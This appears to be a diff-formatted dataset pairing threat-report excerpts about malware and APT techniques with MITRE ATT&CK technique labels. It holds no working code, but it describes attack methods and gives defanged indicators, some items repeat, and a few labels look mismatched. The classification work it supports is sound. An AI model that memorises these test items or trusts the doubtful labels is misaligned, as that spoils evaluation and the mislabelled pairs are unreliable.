+4) Special attention was given to the design of the network communication, in order to reduce the noise a large number of encrypted machines may generate while contacting the Command and Control servers. 5) The encryption scheme is solid – using the AES and RSA algorithms	['T1573.002', 'T1486']
+The tool was primarily used by the attackers to move laterally on the victim’s network. PowerShell: Microsoft scripting tool that was used to run commands to download payloads, traverse compromised networks, and carry out reconnaissance. WinSCP: Open source FTP client used to exfiltrate data from targeted organizations	['T1048.003']
+While investigating the domains and infrastructure used by the phishing components of Gorgon Group, Unit 42 researchers witnessed several common operational security flaws with Gorgon Group's actors throughout their many campaigns. It was one of these OPSEC failures that gave us an interesting cross-section of malware Gorgon Group is using. Included in the directories were a combination of files leveraged in targeted attacks mentioned above against nation states. Additionally, there was a plethora of malware samples that were criminal in nature	['T1106']
+Both variants of ServHelper use the same HTTP C&C protocol on port 443 (HTTPS) and, less frequently, port 80 (HTTP). An example of the initial phone home to the C&C server is shown in Figure 5	['T1071.001']
+IcedID’s operators probably plan on targeting businesses because they added a network propagation module to the malware from the get-go. IcedID possesses the ability to move to other endpoints, and X-Force researchers also observed it infecting terminal servers	['T1087.003']
+Reaver proceeds to write a shortcut file to ‘%TEMP%\~WUpdate.lnk’. This file is then copied to a filename of ‘Windows Update.lnk’, which is placed in the startup path previously identified. This shortcut file points to the path of the previously written ‘Applet.cpl’ file. Finally, Reaver.v1 will execute the ‘~WUpdate.lnk’ file in a new process, thus loading the recently dropped malicious CPL file. In the event this is successful, the malware will use the following path to store any dropped files	['T1218.002']
+The attackers used the Windows Management Instrumentation Command Line Utility (wmic.exe) to execute commands on remote computers, such as adding a new user or executing additional downloaded PowerShell scripts. Cobalt Strike was also used to carry out credential dumping using ProcDump and to empty log files	['T1136', 'T1047', 'T1070.001', 'T1003.001']
+"3, 2019): On May 16, 2019 FireEye's Advanced Practices team attributed the remaining ""suspected APT33 activity"" (referred to as GroupB in this blog post) to APT33, operating at the behest of the Iranian government. The actor leveraged this persistence mechanism to download and execute OS-dependent variants of the publicly available .NET POSHC2 backdoor as well as a newly identified PowerShell-based implant self-named POWERTON. Of note, Advanced Practices separately established that APT33 began using POSHC2 as of at least July 2, 2018, and continued to use it throughout the duration of 2018. At one point in late-August, after the POSHC2 kill date, the adversary used RULER.HOMEPAGE to directly download POWERTON, bypassing the intermediary stages previously observed. FireEye Intelligence has previously reported that APT33 has ties to destructive malware, and they pose a heightened risk to critical infrastructure. The operators behind each of the described intrusions are using publicly available but not widely understood tools and techniques in addition to proprietary implants as needed. Custom Backdoor: POWERTON . POWERTON is a backdoor written in PowerShell; FireEye has not yet identified any publicly available toolset with a similar code base, indicating that it is likely custom-built. FireEye has observed an increase in targeted adversaries challenging and subverting security controls on Exchange and Office365. At FireEye, our decisions are data driven, but data provided to us is often incomplete and missing pieces must be inferred based on our expertise in order for us to respond to intrusions effectively. Credential harvesting phishing scams, where harvested credentials may be sold, re-used, or documented permanently elsewhere on the internet"	['T1068']
+The malware sets its persistence mechanism by creating a RunKey in the registry to ensure its survival after system reboot events	['T1547.001']
+Audio surveillance: The malware uses the NAudio library to interact with the microphone and manage the audio stream. The library is stored server-side and pushed to the victim’s machine using a special command. The bot will display the messages using a standard message box. The log includes the process name used by the victim, and keystrokes. The theft is performed by a specific component that enumerates credentials saved in various browsers. Process manager: The attacker can obtain a list of running processes and terminate these by using a specific button	['T1123']
+HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell	['T1059.003']
+One of the custom tools used by the Leafminer group is a rebranded version of the widespread post-exploitation tool Mimikatz	['T1083']
+The default case when the service tag is empty allows the malware to treat the contents of the response from the C2 as a command to execute via the Go library functions os.exec.Command or os.exec.Start. The format of the received command is checked against the below regex pattern for validity before executing and the command is read from the body of the message received from the C2	['T1059.003']
+In 2014, Imminent Monitor started supporting third-party plugins. The first of these offered the ability to turn the webcam light off while monitoring. Shockwave™ wrote: “Hey, good job on being the first to release a plugin for Imminent Monitor	['T1125']
+Where the number of passed parameters is one, the payload will read the sys.bin.url file from %appdata%\systemconfig. It will then spawns a new svchost process as C:\\windows\\system32\\svchost.exe –k update in suspended state and injects the payload. Finally, it patches the entry point of svchost.exe so it can execute the malicious payload after the ResumeThread call	['T1055.012']
+This module intercepts HWP documents on an infected computer. The HWP file format is similar to Microsoft Word documents, but supported by Hangul, a South Korean word processing application from the Hancom Office bundle. This malware module works independently of the others and maintains its own Bulgarian e-mail account. The account is hardcoded in the module along with the master’s e-mail to which it sends intercepted documents. It is interesting that the module does not search for all the HWP files on infected computer, but reacts only to those that are opened by the user and steals them. This behavior is very unusual for a document-stealing component and we do not see it in other malicious toolkits	['T1005']
+In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. Also, its configuration is encrypted and is not base64 encoded anymore. It also does not use FTP for exfiltration	['T1041', 'T1140']
+TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. TEARDROP does not have code overlap with any previously seen malware. We believe that this was used to execute a customized Cobalt Strike BEACON	['T1105']
+The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. They continue lateral movement and discovery in an attempt to identify the data of interest	['T1021.006']
+It is used by the financially motivated GOLD SOUTHFIELD threat group, which distributes ransomware via exploit kits, scan-and-exploit techniques, RDP servers, and backdoored software installers. CTU™ researchers attribute GandCrab to the GOLD GARDEN threat group	['T1190', 'T1133']
+CWS or WSA web scanning prevents access to malicious websites, including watering hole attacks, and detects malware used in these attacks	['T1189']
+The attackers typically distribute Netwalker ransomware with the use of a reflective PowerShell loader script that has been protected from casual analysis with several layers of obfuscation	['T1059.001', 'T1027']
+BRONZE UNION appears to use a combination of self-registered IP addresses and commercial VPN services in its command and control (C2) and operational infrastructure. The threat actors also integrate infrastructure they likely previously compromised for espionage purposes. For example, CTU researchers identified the group using IP addresses owned by several, presumably compromised, research organizations to interact with web shells in other target environments	['T1003.002', 'T1003.004']
+As mentioned previously, this backdoor also supports loading plugins. The server creates a thread that searches for files matching the following pattern lPH*.dll. If such a file exists, it is loaded and its export function ModuleStart is called. Among the various plugins we have located so far, one is able to steal recent files and files from USB thumb drives	['T1025', 'T1083']
+Phishing emails continued to use links to external ZIP or RAR archives, which ultimately contained an executable with the extension SCR. The attackers also made extensive use of Hostinger’s cheap web hosting services to deliver initial payloads	['T1204.001']
+After decrypting the C&C server address, the shellcode proceeds to send an HTTP GET request to fetch the resource: “msdn.cpp” on the server	['T1071.001']
+The purpose of the bytecode is to decrypt the embedded payload, load it into memory reflectively and execute it	['T1140']
+The backdoor contain narrow capabilities: download and upload files, run commands and send the attackers the results. However short the list, they allow the attackers to upload and execute additional tools for further reconnaissance and lateral movement	['T1105']
+Network analysis — run one of the plugins to retrieve Active Directory and network information (Fig	['T1016']
+Before running the above command to open the decoy document, the shellcode enumerates the running processes on the system, specifically looking for processes created for an executable with a filename that starts with “avp. presumably in an attempt to find Kaspersky’s antivirus process. If the process is found, the shellcode will not open the decoy document and exits	['T1057']
+This RAT is also known for its keylogging and file transfer functionality. As such, any remote attacker can load any files onto the infected machine or even steal documents	['T1036.005', 'T1105']
+The malware will setup the miner and then the miner will persist it in the system in two ways: 1) by adding itself as a service if the malware gains admin privileges or 2) by adding the batch file to the startup folder	['T1543.003']
+Registered and active during late June 2020, newspointview[.]com has been used with more recent SombRAT variants as the primary C2 domain	['T1105']
+An example of these tasks is shown below: • write a file and execute it with CreateProcess() capturing all of the standard output • update C&C configuration, plugin storage, etc • update autoruns • write arbitrary files to the filesystem (“File Upload”) • read arbitrary files from the filesystem (“File Download”) • update itself • uninstall • push task results to C2 servers	['T1105']
+Exploits a kernel privilege escalation vulnerability to gain SYSTEM privileges using CVE-2018-8453. Whitelists files, folders and extensions from encryption. Encrypts files on local and network storage. Customizes the name and body of the ransom note, and the contents of the background image. Exfiltrates encrypted information on the infected host to remote controllers. REvil uses Hypertext Transfer Protocol Secure (HTTPS) for communication with its controllers	['T1486']
+In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. It also does not use FTP for exfiltration	['T1059.001']
+Once you have set up the database and logged into the BloodHound web application, you need to pull AD data from your environment using the BloodHound PowerShell ingestor. Figure 1 shows a sample command that searches all domains in the forest (-SearchForest) and the folder location used to save the resulting CSV files	['T1059.001']
+If the DoublePulsar backdoor does not exist, then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit. After the first thread determines the local network subnet, the SMB worm scans local addresses beginning at the start of the netblock and increasing by one to the end of the netblock	['T1016']
+This Unix binary is widely used by many malware families to determine the device’s unique ID (for campaign tracking), usually in the form of the machine’s serial number. This may or may not be hashed with another utility (e.g. md5) before being sent to the C2. To facilitate anti-analysis and evasion, ioreg is also used by some threat actors to determine whether the device is running in a virtual environment	['T1497.001']
+It uses a GetCurrentProcessID to find the process ID of the current process. It compares the UniqueProcessID member of the SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX structure with the current process ID	['T1057']
+Encryption is definitely the simplest method to hide the C&C server. We have encountered cases where the port has been stored in the data section, in the Delphi form data, or randomly chosen from a range	['T1102.001']
+The Helminth implant is routinely delivered through macro-enabled Microsoft Office documents requiring user interaction to execute an obfuscated Visual Basic Script	['T1204.002']
+1) The malicious macro scans the victim’s Outlook inbox and looks for the strings “$$cpte” and “$$ecpte”. 2) Then the macro will open a CMD shell that will execute whatever instruction / command is in between the strings. 4) The macro searches for the special strings in the “Deleted Items” folder to find the attacker’s email address and sends the data back to the attackers via email. 5) Lastly, the macro will delete any evidence of the emails received or sent by the attackers	['T1566.001']
+A recent lull in the distribution of spam spreading information-stealing malware via the Hancitor downloader has been snapped	['T1566.002']
+There are three types of URLs present in the decrypted configuration. The first type of URL listed in the configuration data is used for the plain HTTP (that is, non-Tor) communication with C&C servers. The bot reports to the C&C server using the typical request pattern: for example, the initial checkin to the C&C server is in the form of: cfg_url + “/images/” + encoded_data + (.jpeg||.gif||.bmp	['T1132']
+Similar to many other ransomware operators, CARBON SPIDER not only encrypted victim files using Darkside, but also exfiltrated data for publication on a dedicated leak site (DLS) hosted on Tor. For exfiltration, CARBON SPIDER primarily leveraged the MEGASync client for hosting provider MEGA but also employed GoToAssist	['T1567.002']
+They stop the Volume Shadow Copy service; the ransomware itself includes a command to delete existing shadow copies	['T1490']
+Emotet artifacts are typically found in arbitrary paths located off of the AppData\Local and AppData\Roaming directories. Persistence is typically maintained through Scheduled Tasks or via registry keys. Additionally, Emotet creates randomly-named files in the system root directories that are run as Windows services	['T1053.005']
+The backdoor also creates a separate thread that installs a Windows hook procedure on message WH_KEYBOARD_LL, through which it can intercept keystrokes. We believe this is mainly used to intercept credentials from other browsers, specifically Google Chrome	['T1056.001']
+Kimsuky is a highly motivated APT that has traditionally targeted entities in South Korea. The APT group has used a variety of malware such as Gold Dragon, Babyshark and Appleseed to target entities ranging from defense to education and think tanks. Some file enumerators will exfiltrate all files with specific extensions. What's interesting here, however, is that the attackers knew exactly which files they were looking for	['T1567.002']
+The Trojan obfuscates its executable code prior to compilation, rather than packing it like most other ransomware, making it harder for researchers to reverse engineer and analyze the malicious code. It also obscures the links to the necessary API function, and stores hashes to strings rather than the actual strings. Upon installation, the Trojan reviews the directory its executable is started from, and if it spots an attempt to launch it from an ‘incorrect’ directory – such as a potential automated sandbox – it exits. Before encrypting files on a victim device, SynAck checks the hashes of all running processes and services against its own hard coded list. If it finds a match, it tries to kill the process	['T1083', 'T1497.001']
+Before being sent to the server, the data structure has to pass through shaping as shown in Fig	['T1560']
+When the backdoor is configured to use HTTPS to communicate with the C2, the functionality is largely the same as when in HTTP mode. The differences are that it lacks the options to update a session key due to encryption being handled by the TLS layer and it also does not have the option to send data to and from the C2 in the chunking mode previously described. In addition, only one transmission is made to the C2 when the malware is establishing a connection as there is no exchange of an AES session key. The hello message that is sent contains the same plaintext data as the HTTP mode	['T1071.001']
+For persistence and remote control, the script downloads another base64-encoded Python script from hxxps://ptpb[.]pw/OAZG. After several steps of de-obfuscation, we found the attackers using EmPyre for post-exploitation control	['T1027']
+The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which we have called MagicHound.Rollover. The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server. We discovered two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server. The second technique appeared to be from a tool called Magic Unicorn, an open source module for meterpreter. Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment “one line shellcode injection with native x86 shellcode	['T1105']
+Throughout the year, Volexity identified multiple Vietnamese-language news websites that appeared to be compromised, as they were being used to load an OceanLotus web profiling framework. The exact functionality varied from site to site, but the goal of these frameworks was to gather information about site visitors and, in some cases, deliver malware. This code appears to be a variation of what Volexity has previously described as Framework A	['T1583.001']
+For example, here is a folder and a list of files created by picking the C:\Windows\system32\TCPSVCS.exe executable as a source of data	['T1543.003']
+The attackers used both families concurrently from late last year through November 2017 and there is some C2 infrastructure overlap between the two families, as well as links to historical reporting. Reaver Malware Analysis To date, Palo Alto Networks Unit 42 has identified 10 unique samples and three distinct variants of a new malware family we have named “Reaver”. As such, we identify each variant as Reaver.v1, Reaver.v2, and Reaver.v3. Reaver.v1 has been observed delivering a payload that uses HTTP for network communication, while versions 2 and 3 use a payload that uses raw TCP connections for this communication. The flow for Reaver is as shown	['T1071.001', 'T1095']
+Another payload of the Ecipekac loader, which we call SodaMaster (a.k.a DelfsCake), is also a new fileless malware. In our research we found more than 10 samples of SodaMaster. The only differences were in the configuration data, including a hardcoded C2, an encoded RSA key and additional data for calculating a mutex value	['T1105', 'T1573.002']
+When executed, the DLL drops and launches using a WinExec API call. This stage of the Valak malware uses a malicious JavaScript file with a random name that changes per execution	['T1218.010']
+The script modifies Windows Defender settings to exclude the target logical drive it is going to wipe from scheduled and real-time scanning	['T1059.005']
+MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. Upon successful intrusion, they have used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts. NICKEL actors created and deployed custom malware that allowed them to maintain persistence on victim networks over extended periods of time. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks	['T1016', 'T1119', 'T1587.001', 'T1078']
+To load the driver, a new service is created using the API CreateServiceW. The name and display name for this service is the 4-character name used for the file name. Next, StartServiceW is called in a loop five times to ensure the driver is loaded. Immediately after the driver is loaded, the service is removed by deleting the entire registry key	['T1106', 'T1543.003']
+Once the attackers identify the files of interest, the module is instrumented for exfiltration of the files.The VBScript-based file recon module used by the attackers is somewhat different. The URL constructed had the following format:http://<attacker_controlled_domain/>report.php	['T1071.001']
+Between 2016 and 2020, we have seenScreenConnect and Onehub used in malicious cyber activity by different, unassociated threat actors. For example, between 2016 and 2019 unknown threat actors targeted IT outsourcing firms, including compromising US-based Cognizant and India-based Wipro. 7] The actors responsible for these attacks used ScreenConnect to connect to endpoints on client networks, enabling them to conduct further lateral movements and automated actions on objectives. During an incident impacting Cognizant and their client Maritz Holdings, actors used ScreenConnect to propagate to other connected systems and caused over $1.8 million (USD) in losses through a gift card fraud scheme. 6] In 2019, another threat group used ConnectWise to execute PowerShell commands in their target environments. 7] In 2020, ScreenConnect/ConnectWise has been utilized by the cybercriminal group Pinchy Spider (GOLD SOUTHFIELD, GOLD GARDEN, Sodinokibi, REvil, GandCrab) to distribute Sodinokibi ransomware	['T1059.001']
+Stage 1: A Master Boot Record (MBR) locker used to overwrite the operating system's MBR, which effectively prevents the operating system from loading successfully - Stage 2: A disk-wiper used to wipe and destroy files on the target machine	['T1561.002']
+The MuddyWaters group has carried out a large number of attacks and demonstrated advanced social engineering, in addition to the active development of attacks, infrastructure and the use of new methods and techniques	['T1105']
+BADNEWS Much of BADNEWS has remained consistent from when it was originally discussed by Forcepoint in August 2016. To briefly recap, the BADNEWS malware family acts as a backdoor, with communication occurring over HTTP. A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop. This tactic uses public web services to host content that contains encoded commands that are decoded by the malware	['T1113']
+As we can see, it simply downloads a file from secure.dropinbox[.]pw using HTTP on port 443 (not HTTPS), and proceeds to decrypt the file using AES-128 prior to executing it. At this point, Cardinal RAT has been downloaded and executed, and execution is directed to this sample. Of course, the Carp Downloader is not required to download Cardinal RAT, however, based on our visibility, it has exclusively done so	['T1105', 'T1071.001']
+Many fields in the installation program are forged into Acrobat Reader installation program, and the interface after running is related to Acrobat Reader	['T1036.005']
+The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module. The WINDOWSTEMP.ps1 script is a dropper that decodes an embedded executable using base64 and decompresses it with the System.IO.Compression.GzipStream object. The WindowsTemplate.exe executable is a new variant of RogueRobin written in C	['T1059.003', 'T1218.010', 'T1059.001', 'T1140', 'T1547.009']
+Juniper Threat Labs has been monitoring a campaign that pushes a new IcedID banking trojan. This new campaign changes tactics by injecting into msiexec.exe to conceal itself and use full steganography for downloading its modules and configurations. Previous versions of IcedID injected into svchost.exe and downloaded encrypted modules and config as “.dat” files. IcedID is a banking malware that performs Man-in-the-Browser attacks to steal financial information	['T1105']
+Execution through API (Batch file for example). - Application processes discovery with some procedures as the hashes of the name, and directly for the name of the process. File and directory discovery: to search files to encrypt. Encrypt files. Create files	['T1486']
+The malware uses at least three separate encryption methods for its traffic, depending on the type of message. The first method, implemented within HTTPDLL.dll, is used for the decryption of values and traffic relating to the HTTP GET requests (i) and (ii) discussed above. It appears to use an implementation of AES to encrypt the data which is then transmitted in its encrypted format. The key (shown in the image below) is apparently static, at least among the samples tested, and generated by drawing byte values from multiple parts of the binary and performing a number of bitwise operations on them	['T1132.001', 'T1573.001']
+1) The script uses the function fromCharCode() that returns a string created from a sequence of UTF-16 code units. By using this function, it avoids explicitly writing commands it wants to execute and it hides the actual code it is initiating. In particular, the script uses this function to hide information related to process names. To the best of our knowledge, this method was not used in early versions of the spam campaign. 2) The script uses the function radador(), which returns a randomized integer. This function is able to obfuscate code so that every iteration of the code is presented differently. In contrast to the first method of obfuscation, this has been used effectively since early versions of the Astaroth Trojan campaign	['T1027']
+Implant Type – WaterBear is a stage-2 implant with many capabilities; BendyBear is a stage-0 downloader	['T1105']
+"Monday, February 12, 2018 . Olympic Destroyer Takes Aim At Winter Olympics . This blog post is authored by Warren Mercer and Paul Rascagneres. Olympic Destroyer Workflow . Initial stage . The initial edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9 sample is a binary that, when executed, drops multiple files on to the victim host. SQLite is embedded in the sample: . System Credential Stealer . In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. This step is executed to ensure that file recovery is not trivial - WBAdmin can be used to recover individual files, folders and also whole drives so this would be a very convenient tool for a sysadmin to use in order to aid recovery. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started. Legitimate File . Additionally, the Olympic Destroyer drops the legitimate, digitally signed, PsExec file in order to perform lateral movement by using this legitimate tool from Microsoft. Using legitimate tools like PsExec will save the adversary time from writing their own tooling. Disruption is the clear objective in this type of attack and it leaves us confident in thinking that the actors behind this were after embarrassment of the Olympic committee during the opening ceremony. Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. categories . Subscribe To Our Feed . Blog Archive . - - - - - - - - - - - - ▼ February (14) CannibalRAT targets Brazil Who Wasn’t Responsible for Olympic Destroyer"	['T1021.002']
+SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments. It replaces the initial command line with the base filename of the program executable, removing any arguments. This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line `powershell.exe` rather than references to the uncommon filename such as `WwanSvc.c	['T1057', 'T1564.010']
+POWRUNER may also receive batch commands from the C2 server to collect host information from the system	['T1083', 'T1057', 'T1047', 'T1049', 'T1016', 'T1082', 'T1033']
+The 0x1 bit in the control flags is used in this module to specify if the download should be done via HTTPS	['T1071.001']
+TeamTNT targets exposed Docker API to deploy malicious images. Docker images containing TeamTNT malware are being hosted in public Docker repos via account takeovers. TeamTNT leverages exposed Docker hub secrets within GitHub to stage malicious Docker images. The following MITRE ATT&CK techniques were observed: Deploy Container (T1610), User Execution: Malicious Image (T1204.003), Unsecured Credentials: Credentials In Files (T1552.002), Implant Internal Image (T1525), and Valid Accounts: Cloud Accounts (T1078.004	['T1204.003']
+Crutch is able to bypass some security layers by abusing legitimate infrastructure – here Dropbox – in order to blend into normal network traffic while exfiltrating stolen documents and receiving commands from its operators	['T1102.002']
+Some of the executables pack the collected data into a password protected archive and save it to the disk, while others send the data to the C&C server directly	['T1074.001', 'T1560']
+Woburn, MA – May 7, 2018 – Kaspersky Lab researchers have discovered a new variant of the SynAck ransomware Trojan using the Doppelgänging technique to bypass anti-virus security by hiding in legitimate processes. The developers behind SynAck also implement other tricks to evade detection and analysis, obfuscating all malware code prior to sample compilation and exiting if signs suggest it is being launched in a sandbox	['T1027']
+"Monday, February 12, 2018 . Olympic Destroyer Takes Aim At Winter Olympics . This blog post is authored by Warren Mercer and Paul Rascagneres. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. Olympic Destroyer Workflow . Initial stage . The initial edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9 sample is a binary that, when executed, drops multiple files on to the victim host. Dropped Files . Browser Credential Stealer . Olympic Destroyer drops a browser credential stealer. SQLite is embedded in the sample: . System Credential Stealer . In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. The stealer attempts to obtain credentials from LSASS with a technique similar to that used by Mimikatz. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started. Legitimate File . Additionally, the Olympic Destroyer drops the legitimate, digitally signed, PsExec file in order to perform lateral movement by using this legitimate tool from Microsoft. Disruption is the clear objective in this type of attack and it leaves us confident in thinking that the actors behind this were after embarrassment of the Olympic committee during the opening ceremony"	['T1070.001']
+The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module	['T1078.002']
+We see it clustered here with some dynamic domain name system (DNS) domains. Dynamic DNS domains were observed in this cluster on later IP addresses as well, though this technique appears to have fallen out of favor, at least in this context, since there are none in this cluster currently active	['T1568']
+Regarding to downloading and executing a tool, Flagpro stores the downloaded file in file path “%Temp%\~MY[0-9A-F].tmp” first. Then, Flagpro adds extension “.exe” to the name of stored file and executes the file	['T1036']
+Because TA505 is such a significant part of the email threat landscape, this blog provides a retrospective on the shifting malware, payloads, and campaigns associated with this actor. We examine their use malware such as Jaff, Bart, and Rockloader that appear to be exclusive to this group as well as more widely distributed malware like Dridex and Pony. Where possible, we detail the affiliate models with which they are involved and outline the current state of TA505 campaigns	['T1486']
+In the example, the POWRUNER client sends a random GET request to the C2 server and the C2 server sends the random number (99999999990) as a response. As the response is a random number that ends with ‘0’, POWRUNER sends another random GET request to receive an additional command string. The C2 server sends back Base64 encoded response	['T1132.001']
+Using valid credentials, CARBON SPIDER moves laterally through victim environments using RDP and occasionally SSH. The adversary typically uses PS to run Cobalt Strike but occasionally writes Cobalt Strike stagers or KillACK backdoors to disk. Occasionally, CARBON SPIDER has deployed the legitimate GoToAssist or TightVNC tools to provide redundant control of hosts	['T1021.005', 'T1021.001', 'T1021.004']
+The test plugin attempts to connect to a provided address to check access to the network. Meanwhile, the reverse P2P plugin creates a proxy server to bridge the C&C and the client. This creates another connection to another C&C specified in the commands to act as a proxy, redirecting traffic from the infected machine to the real C&C server	['T1090.002']
+This adversary group is most commonly associated with a custom PowerShell implant identified as Helminth. The Helminth implant is routinely delivered through macro-enabled Microsoft Office documents requiring user interaction to execute an obfuscated Visual Basic Script	['T1059.001']
+In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated	['T1105']
+The notes also contain a threat to leak private information that has been collected from the target if the ransom is not paid	['T1484.001', 'T1078.002']
+AT&T Alien Labs™ has discovered a new campaign by threat group TeamTNT that is targeting multiple operating systems and applications. The campaign uses multiple shell/batch scripts, new open source tools, a cryptocurrency miner, the TeamTNT IRC bot, and more	['T1547.001', 'T1059.003']
+To do this, Tick uses a number of publicly available hacktools such as Mimikatz, GSecdump, and Windows Credential Editor. The tools are downloaded and deployed to the original install directory previously created by the malware	['T1588.002']
+It seems that the implementation for dynamic import resolution slightly varies in comparison to the one used in Azazel rootkit	['T1014']
+Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a VBScript-based Active Directory enumeration toolkit. While the script’s contents have not been recovered to date, CrowdStrike has observed identical artifacts across multiple StellarParticle engagements that suggest the same or similar tool was used	['T1057']
+"If it is executed with the ""help"" parameter, it will install a service to execute itself as a service. This parameter is used by the trojanized installer. This has a notable side effect: if rmaserv.exe is executed isolated on a sandbox (so without the parameter), the service is not created. Consequently, the execution won't do anything and the dynamic analysis will be skewed. The second main feature is the service. This service has two features. First, it will launch the winprint32.exe executable (C2 contact module) and then it will wait for an event. This event is the mechanism used by the C2 contact module to alert the service executable to perform the cleaning of all components"	['T1569.002']
+Network Reconnaissance – gathering information from machines on the network. Credential Theft – stealing user names and passwords, potentially to provide them with further access to the victim network. RAR archiving – files are transferred to staging servers before exfiltration. Csvde – can be used to extract Active Directory files and data. WMIExec – can be used for lateral movement and to execute commands remotely. PowerShell - a powerful interactive command-line interface and scripting environment included in the Windows operating system	['T1074.002']
+On balance, the fall campaigns diverged from Bulgarian themed NetWire campaigns in the early summer in scope and scale. These campaigns distributed NetWire variants which used Bulgarian email lures, leveraged geofencing, and downloading EXEs through certutils. The NetWire malware has been around since at least 2002 and has been consistently in use by various actors across the threat landscape. This analysis shows groupings of similar campaigns distributing NetWire based on message attributes, email lures and language, Office document metadata, VBA Macro code, and malware configuration	['T1566.001', 'T1059.005']
+This thread searches for for files with the following extensions on removable drives and copies them to ‘c:\system’ every 5 seconds	['T1005', 'T1083', 'T1074.001', 'T1119', 'T1025']
+Observed Clop samples try to kill several processes and services related to backups and security solutions. Clop also leverages Code Signing to evade detection. We observed the use of two signers during our research, as shown below in Figure 1	['T1553.002']
+The FTP account information used in the malware can expose the C&C server to attacks. The string ‘victory’ used in the password has also been found in the b374k webshell used by the Kimsuky group	['T1598.003', 'T1059.005', 'T1027']
+"The January 2022 version of PlugX malware utilizes RC4 encryption along with a hardcoded key that is built dynamically. For communications, the data is compressed then encrypted before sending to the command and control (C2) server and the same process in reverse is implemented for data received from the C2 server. e@T#L$PH%"" as it is being passed along with the encrypted data. During the January 2022 campaigns, the delivered PlugX malware samples communicated with the C2 server 92.118.188[.]78 over port 187. In the February 2022 campaign, Proofpoint researchers observed a variation in which PlugX malware used an RC4 key that was sent to the bot in the first HTTP response which was then used to encrypt data going to the C2 server"	['T1071.001']
+Stage 2 is also .NET DLL file that downloads a third file from parinari[.]xyz, converts it from ASCII to binary, and then creates a scheduled task to load it	['T1053.005']
+The plugin is designed to migrate the loader to the address space of another process. Injection parameters are set in the Lizar client configuration file. It should be noted that this plugin can be used not only to inject the loader, but also to execute other PE files in the address space of the specified process	['T1055', 'T1055.002']
